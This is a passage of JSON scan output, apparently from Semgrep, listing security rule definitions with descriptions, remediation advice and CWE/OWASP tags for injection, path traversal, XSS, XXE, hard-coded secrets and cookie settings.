php.lang.security.deserialization.extract-user-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection)\n - [https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac](https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac)\n","text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","id":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","name":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","id":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","name":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode","id":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","name":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-hardcode.jwt-hardcode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","id":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","name":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","id":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","name":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django","id":"python.django.db.aiosqlite-django.aiosqlite-django","name":"python.django.db.aiosqlite-django.aiosqlite-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.aiosqlite-django.aiosqlite-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n - [https://www.starlette.io/responses/](https://www.starlette.io/responses/)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","id":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","name":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","id":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","name":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.turbine-sqli.turbine-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href","id":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","name":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","id":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","name":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","id":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","name":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"help":{"markdown":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string)\n","text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"helpUri":"https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string","id":"python.flask.caching.query-string.flask-cache-query-string","name":"python.flask.caching.query-string.flask-cache-query-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.flask.caching.query-string.flask-cache-query-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","id":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","name":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","id":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","name":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer)\n - 